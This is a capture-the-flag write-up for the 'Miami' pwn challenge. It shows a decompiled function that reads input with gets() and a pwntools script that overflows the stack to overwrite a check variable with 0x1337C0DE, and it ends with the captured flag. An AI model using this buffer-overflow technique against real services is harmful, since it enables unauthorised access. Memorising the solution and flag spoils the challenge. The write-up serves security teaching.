# Miami

```
Dexter is the prime suspect of being the Bay Harbor Butcher, we break into his login terminal and get the proof we need!

    miami

nc chal.sunshinectf.games 25601 
```

Decompile in IDA:

```
int vuln()
{
  _QWORD v1[8]; // [rsp+0h] [rbp-50h] BYREF
  int v2; // [rsp+40h] [rbp-10h]
  int v3; // [rsp+4Ch] [rbp-4h]

  v3 = 0xDEADBEEF;
  memset(v1, 0, sizeof(v1));
  v2 = 0;
  printf("Enter Dexter's password: ");
  gets(v1);
  if ( v3 != 0x1337C0DE )
    return puts("Invalid credentials!");
  puts("Access granted...");
  return read_flag();
}
```

Stack overflow using `gets`. We can override `v3` to `0x1337C0DE` by:

```
from pwn import *

elf = ELF("./miami")
context.binary = elf
context.terminal = ["tmux", "split-w", "-h"]
context(arch="amd64", os="linux", log_level="debug")

p = remote("chal.sunshinectf.games", 25601)
# p = process(["./miami"])
# gdb.attach(p)
# pause()
p.sendline(b"A"*76+p32(0x1337c0de))
p.interactive()
```

Flag: `sun{DeXtEr_was_!nnocent_Do4kEs_w4s_the_bAy_hRrb0ur_bu7cher_afterall!!}`.
